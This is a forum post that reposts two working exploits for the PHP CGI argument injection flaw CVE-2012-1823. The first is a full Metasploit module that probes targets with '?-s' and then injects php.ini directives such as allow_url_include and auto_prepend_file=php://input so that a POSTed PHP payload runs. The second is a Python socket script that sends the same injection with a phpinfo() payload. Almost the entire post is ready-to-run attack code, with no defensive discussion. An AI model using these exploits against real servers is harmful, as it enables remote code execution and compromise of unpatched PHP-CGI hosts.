Jump to content
Nytro

PHP CGI Argument Injection

Recommended Posts

Posted

[h=1]PHP CGI Argument Injection[/h]

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped '=' in the query string,
the string is split on '+' (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (the "encoded in
a system-defined manner" from the RFC) and then passes them to the CGI
binary."
},
'Author' => [ 'egypt', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
[ "CVE" , "2012-1823" ],
[ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DisclosureDate' => 'May 03 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
], self.class)
end

# php-cgi -h
# ...
# -s Display colour syntax highlighted source.
def check
uri = target_uri.path

uri.gsub!(/\?.*/, "")

print_status("Checking uri #{uri}")

response = send_request_raw({ 'uri' => uri })

if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
return Exploit::CheckCode::Unknown
end

response = send_request_raw({ 'uri' => uri + '?-s'})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
return Exploit::CheckCode::Vulnerable
end

print_error("Server responded indicating it was not vulnerable")
return Exploit::CheckCode::Safe
end

def exploit
begin
args = [
"-d+allow_url_include%3d#{rand_php_ini_true}",
"-d+safe_mode%3d#{rand_php_ini_false}",
"-d+suhosin.simulation%3d#{rand_php_ini_true}",
"-d+disable_functions%3d%22%22",
"-d+open_basedir%3dnone",
"-d+auto_prepend_file%3dphp://input",
"-n"
]

qs = args.join("+")
uri = "#{target_uri}?#{qs}"

# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => uri,
'data' => payload_oneline,
}, 0.5)
handler

rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
end

end

def rand_php_ini_false
Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
end

def rand_php_ini_true
Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
end

end

[h=1]PHP CGI Argument Injection Exploit[/h]

######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
pwn_code = """<?php phpinfo();?>"""
post_Length = len(pwn_code)
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
print http_raw
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send(http_raw)
data = sock.recv(10000)
print repr(data)
sock.close()
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)

if __name__ == '__main__':
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
cgi_exploit()
except IndexError:
print '[+]Usage: cgi_test.py site.com 80'
sys.exit(-1)

Surse:

- PHP CGI Argument Injection

- PHP CGI Argument Injection Exploit

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...